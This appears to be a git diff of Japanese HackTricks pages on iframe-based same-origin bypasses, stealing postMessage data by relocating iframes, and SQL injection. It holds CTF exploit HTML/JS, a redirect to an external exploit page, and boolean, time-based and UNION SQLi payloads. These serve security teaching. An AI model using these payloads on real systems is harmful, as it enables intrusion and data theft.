That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
---
主な問題は、[**メインページ**](https://so-xss.terjanq.me)がDomPurifyを使用して`data.body`を送信するため、独自のHTMLデータをそのコードに送信するには、`e.origin !== window.origin`を**バイパス**する必要があることです。
彼らが提案する解決策を見てみましょう。
### SOPバイパス1 (e.origin === null)
`//example.org`が**サンドボックス化されたiframe**に埋め込まれると、ページの**オリジン**は**`null`**になります。つまり、**`window.origin === null`**です。したがって、`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`を介してiframeを埋め込むだけで、**`null`オリジンを強制**することができます。
ページが**埋め込み可能**であれば、その方法でその保護をバイパスできます(クッキーも`SameSite=None`に設定する必要があるかもしれません)。
### SOPバイパス2 (window.origin === null)
あまり知られていない事実は、**サンドボックス値`allow-popups`が設定されている場合**、**開かれたポップアップ**は、`allow-popups-to-escape-sandbox`が設定されていない限り、すべての**サンドボックス属性**を**継承**することです。\
したがって、**nullオリジン**から**ポップアップ**を開くと、ポップアップ内の**`window.origin`**も**`null`**になります。
### チャレンジ解決策
したがって、このチャレンジのために、**iframe**を**作成**し、脆弱なXSSコードハンドラー`/iframe.php`)を持つページに**ポップアップを開く**ことができます。`window.origin === e.origin`であるため、両方が`null`であれば、**XSSを悪用するペイロードを送信**することが可能です。
その**ペイロード**は**識別子**を取得し、**XSS**を**トップページ**(ポップアップを開いたページ)に**戻します**。**それは**、**脆弱な**`/iframe.php`に**位置を変更**します。識別子が知られているため、条件`window.origin === e.origin`が満たされていないことは問題ではありません(オリジンは**オリジン**が**`null`**のiframeからの**ポップアップ**であることを思い出してください)ので、`data.identifier === identifier`です。次に、**XSSが再びトリガーされます**。今度は正しいオリジンで。
```html
<body>
<script>
@ -75,14 +105,17 @@ document.body.appendChild(f);
</script>
</body>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,32 +1,35 @@
# SOPをiframeでバイパスする - 2
# SOPをIframesでバイパスする - 2
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>からAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## SOP-2Iframes
## SOP-2におけるIframes
この[**チャレンジ**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)の[**解決策**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)では、[**@Strellic\_**](https://twitter.com/Strellic\_)が前のセクションと似た方法を提案しています。確認してみましょう。
この[**チャレンジ**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)の[**解決策**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution)**で、** [**@Strellic\_**](https://twitter.com/Strellic\_)は前のセクションと似た方法を提案しています。確認してみましょう。
このチャレンジでは、攻撃者はこれを**バイパスする必要があります**:
このチャレンジでは、攻撃者はこれを**バイパス**する必要があります:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
もし彼がそうすれば、サニタイズXSSなしでページに書き込まれるHTMLコンテンツを持つ**postmessage**を送信できます。
もし彼がそうすれば、彼は**`innerHTML`**でサニタイズなしにページに書き込まれるHTMLコンテンツを持つ**postmessage**を送信できます**XSS**
**最初のチェック**をバイパスする方法は、**`window.calc.contentWindow`**を**`undefined`**にし、**`e.source`**を**`null`**にすることです:
- **`window.calc.contentWindow`**は実際には**`document.getElementById("calc")`**です。**`document.getElementById`**を**`<img name=getElementById />`**で上書きできますSanitizer API -[こちら](https://wicg.github.io/sanitizer-api/#dom-clobbering)- は、デフォルト状態ではDOMの上書き攻撃に対して保護されていないことに注意してください)。
- したがって、**`document.getElementById("calc")`**を**`<img name=getElementById /><div id=calc></div>`**で上書きできます。その結果、**`window.calc`**は**`undefined`**になります。
- そして、**`e.source`**を**`undefined`**または**`null`**にする必要があります(`==`が使われているため、**`null == undefined`**は**`True`**です)。これをるのは「簡単」です。**iframe**を作成し、そこから**postMessage**を送信し、すぐに**iframe**を**削除**すると、**`e.origin`**は**`null`**になります。以下のコードを確認してください。
* **`window.calc.contentWindow`**は実際には**`document.getElementById("calc")`**です。あなたは**`<img name=getElementById />`**で**`document.getElementById`**をクラッシャーできますサニタイザーAPI -[こちら](https://wicg.github.io/sanitizer-api/#dom-clobbering)-はデフォルトの状態でDOMクラッシャー攻撃から保護するように設定されていないことに注意してください)。
* したがって、あなたは**`<img name=getElementById /><div id=calc></div>`**で**`document.getElementById("calc")`**をクラッシャーできます。そうすると、**`window.calc`**は**`undefined`**になります。
* さて、**`e.source`**を**`undefined`**または**`null`**にする必要があります(なぜなら`==`が使用されているため、**`null == undefined`**は**`True`**です)。これを得るのは「簡単」です。**iframe**を作成し、そこから**postMessage**を送信し、すぐに**iframe**を**削除**すると、**`e.origin`**は**`null`**になります。のコードを確認してください。
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
@ -35,12 +38,12 @@ await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
**第二のチェック**をバイパスするためには、**`token`**の値を`null`で送信し、**`window.token`**の値を**`undefined`**にすることです:
**トークンに関する** **第二のチェック**をバイパスするためには、**`token`**を`null`で送信し、**`window.token`**の値を**`undefined`**にすることです:
- 値が`null`の**`token`**をpostMessageで送信するのは簡単です。
- **`window.token`**は**`document.cookie`**を使用する**`getCookie`**関数を呼び出します。**`null`**のオリジンページで**`document.cookie`**にアクセスすると**エラー**が発生します。これにより**`window.token`**の値が**`undefined`**になります。
* 値`null`でpostMessageに`token`を送信するのは簡単です。
* **`window.token`**は、**`document.cookie`**を使用する関数**`getCookie`**を呼び出す際に使用されます。**`null`**オリジンページでの**`document.cookie`**へのアクセスは**エラー**を引き起こすことに注意してください。これにより、**`window.token`**は**`undefined`**の値を持つことになります。
最終的な解決策は[**@terjanq**](https://twitter.com/terjanq)によるもので、[**次の**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)となります:
最終的な解決策は[**@terjanq**](https://twitter.com/terjanq)によるもので、[**以下**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)です:
```html
<html>
<body>
@ -76,14 +79,17 @@ setTimeout(start, 1000);
</body>
</html>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>からAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)** にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,24 +1,27 @@
# postMessage を盗むために iframe の場所を変更する
# Steal postmessage modifying iframe location
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**してみたいですか?または **PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 子 iframe の場所を変更する
## 子iframeの位置を変更する
[**この解説**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)によると、X-Frame-Header がないウェブページに別の iframe を含む iframe を挿入できる場合、**その子 iframe の場所を変更できます**。
[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)によると、X-Frame-Headerがないウェブページをiframe化できる場合、その中に別のiframeが含まれていると、**その子iframeの位置を変更することができます**。
たとえば、abc.com が efg.com を iframe として持ち、abc.com に X-Frame ヘッダーがない場合、**`frames.location`** を使用して efg.com evil.com にクロスオリジンで変更できます。
例えば、abc.comがefg.comをiframeとして持ち、abc.comにX-Frameヘッダーがない場合、**`frames.location`**を使用してefg.comをevil.comにクロスオリジンで変更することができます。
これは特に **postMessage** で便利です。なぜなら、ページが **`windowRef.postmessage("","*")`** のような **ワイルドカード** を使用して機密データを送信している場合、**関連する iframe子または親の場所を攻撃者が制御する場所に変更してそのデータを盗むことができる**からです
これは特に**postMessages**において有用です。なぜなら、ページが**ワイルドカード**を使用して機密データを送信している場合、例えば`windowRef.postmessage("","*")`のように、**関連するiframe子または親の位置を攻撃者が制御する位置に変更し、そのデータを盗むことが可能だからです**
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -35,14 +38,17 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
</script>
</html>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# SQL インジェクション
# SQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローします**
* **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出します
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** でも最も重要なイベントの1つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## SQL インジェクションとは?
## SQLインジェクションとは
**SQL インジェクション**は、攻撃者がアプリケーションのデータベースクエリに **干渉** できるセキュリティ上の脆弱性です。この脆弱性により、攻撃者は、他のユーザーの情報やアプリケーションがアクセスできるデータを含む、アクセスすべきでないデータを **表示**、**変更**、または **削除** することができます。これらの行動は、アプリケーションの機能やコンテンツの永続的な変更、またはサーバーの侵害やサービスの拒否さえも引き起こす可能性があります。
**SQLインジェクション** は、攻撃者がアプリケーションの**データベースクエリに干渉する**ことを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は他のユーザーの情報やアプリケーションがアクセスできる任意のデータを**表示**、**変更**、または**削除**することができます。このような行為は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービスの拒否を引き起こす可能性があります。
## エントリーポイントの検出
サイトが **SQL インジェクションSQLi** に脆弱であるように見える場合、SQLi 関連の入力に対するサーバーの異常な応答により、**最初のステップ** は、クエリにデータを **挿入する方法を理解し、それを妨げることなく** 行うことです。これには、現在のコンテキストから **効果的に脱出する方法** を特定する必要があります。
以下は、いくつかの有用な例です:
サイトがSQLインジェクションSQLiに**脆弱である**ように見える場合、SQLi関連の入力に対する異常なサーバー応答があるとき、**最初のステップ**は**クエリを中断することなくデータを注入する方法を理解する**ことです。これには、**現在のコンテキストから効果的に脱出する方法を特定する**必要があります。これらは役立ついくつかの例です:
```
[Nothing]
'
@ -38,9 +40,9 @@
"))
`))
```
次に、**クエリを修正してエラーが発生しないようにする方法**を知る必要があります。クエリを修正するためには、新しいデータを**入力**して、**以前のクエリが新しいデータを受け入れるように**するか、単に**データを入力**して**コメント記号を末尾に追加**することができます。
次に、**エラーが発生しないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するには、**データを入力**して**前のクエリが新しいデータを受け入れる**ようにするか、単に**データを入力**して**最後にコメント記号を追加**することができます。
_クエリが機能しているときと機能していないときにエラーメッセージを見ることができるか、違いを見つけることができる場合、このフェーズはより簡単になります。_
_エラーメッセージが表示される場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができる場合、このフェーズはより簡単になります。_
### **コメント**
```sql
@ -68,27 +70,27 @@ SQLite
HQL
HQL does not support comments
```
### 論理演算確認
### 論理演算による確認
SQLインジェクションの脆弱性を確認する信頼性の高い方法は、**論理演算**を実行し、期待される結果を観察することです。たとえば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更されたときに同一のコンテンツが生成される場合、SQLインジェクションの脆弱性が示唆されます。
SQLインジェクションの脆弱性を確認する信頼できる方法は、**論理演算**を実行し、期待される結果を観察することです。例えば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更しても同じ内容が得られる場合、SQLインジェクションの脆弱性が示唆されます。
同様に、**数学演算**の適用は効果的な確認手法として機能します。たとえば、`?id=1`にアクセスした場合と`?id=2-1`にアクセスした場合に同じ結果が生成される場合、SQLインジェクションの兆候となります。
同様に、**数学演算**の適用も効果的な確認技術として機能します。例えば、`?id=1`と`?id=2-1`にアクセスして同じ結果が得られる場合、SQLインジェクションを示しています。
論理演算による確認を示す例:
論理演算確認を示す例:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
このワードリストは、提案された方法でSQLインジェクションを**確認**しようと作成されました:
この単語リストは、提案された方法で**SQLインジェクションを確認する**ために作成されました:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
### タイミングでの確認
### タイミングによる確認
場合によっては、テストしているページに**変化に気づかない**ことがあります。そのため、**ブラインドSQLインジェクションを発見**する良い方法は、DBにアクションを実行させ、ページの読み込みに**時間がかかる影響**を与えることです。\
したがって、SQLクエリに完了に多くの時間がかかる操作を連結します:
場合によっては、テストしているページに**変化が見られない**ことがあります。したがって、**ブラインドSQLインジェクションを発見する**良い方法は、DBにアクションを実行させ、ページの読み込みにかかる**時間に影響を与える**ことです。\
したがって、SQLクエリに完了するのに多くの時間がかかる操作を連結します:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -110,11 +112,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
いくつかの場合、**sleep関数を許可されない**ことがあります。その場合、これらの関数を使用する代わりに、**複雑な操作を実行**させることで、数秒かかるクエリを作成できます。_これらのテクニックの例は、各技術ごとに別々にコメントされます_。
場合によっては、**sleep関数が許可されない**ことがあります。その場合、これらの関数を使用する代わりに、クエリを**複雑な操作を実行させる**ことができ、数秒かかるようにすることができます。_これらの技術の例は、各技術ごとに別々にコメントされる予定ですもしあれば_。
### バックエンドの特定
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの**sleep関数**またはこれらの関数を使用できます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)からのテーブルを使用):
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの_**sleep**_ **関数**や、これらの関数を使用することができます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)の表):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -142,27 +144,27 @@ SQLite
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
また、クエリの出力にアクセスできる場合は、**データベースのバージョンを表示させることができます**
また、クエリの出力にアクセスできる場合は、**データベースのバージョンを表示させる**ことができます。
{% hint style="info" %}
けて、異なる種類のSQLインジェクションを悪用するための異なる方法について説明します。例としてMySQLを使用します。
いて、異なる種類のSQLインジェクションを悪用するためのさまざまな方法について説明します。MySQLを例として使用します。
{% endhint %}
### PortSwiggerを使用した識別
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
## Union Basedの悪用
## ユニオンベースの悪用
### 列の数を検出する
### カラム数の検出
クエリの出力を見ることができる場合、これが悪用する最良の方法です。\
まず、**初期リクエスト**が返す**列の数**を見つける必要があります。これは**両方のクエリが同じ列の数を返す必要があるため**です。\
通常、この目的のためには2つの方法が使用されます:
クエリの出力が見える場合、これは悪用するための最良の方法です。\
まず最初に、**初期リクエスト**が返す**カラム**の**数**を特定する必要があります。これは、**両方のクエリが同じ数のカラムを返す必要があるため**です。\
この目的のために通常使用される2つの方法があります
#### Order/Group by
#### ORDER BY / GROUP BY
クエリ内の列の数を特定するには、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、偽の応答が受信されるまで増やします。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、クエリの列数を確認するために両方を同様に利用できます。
クエリのカラム数を特定するには、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を確認するために同様に利用できます。
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -180,17 +182,17 @@ SQLite
```
#### UNION SELECT
クエリが正しい値を返すまで、さらに多くの null 値を選択します:
クエリが正しくなるまで、より多くのNULL値を選択します:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_いくつかのケースでは、クエリの両側の列の型が同じである必要があるため、`null`値を使用する必要があります。`null`はすべてのケースで有効です。_
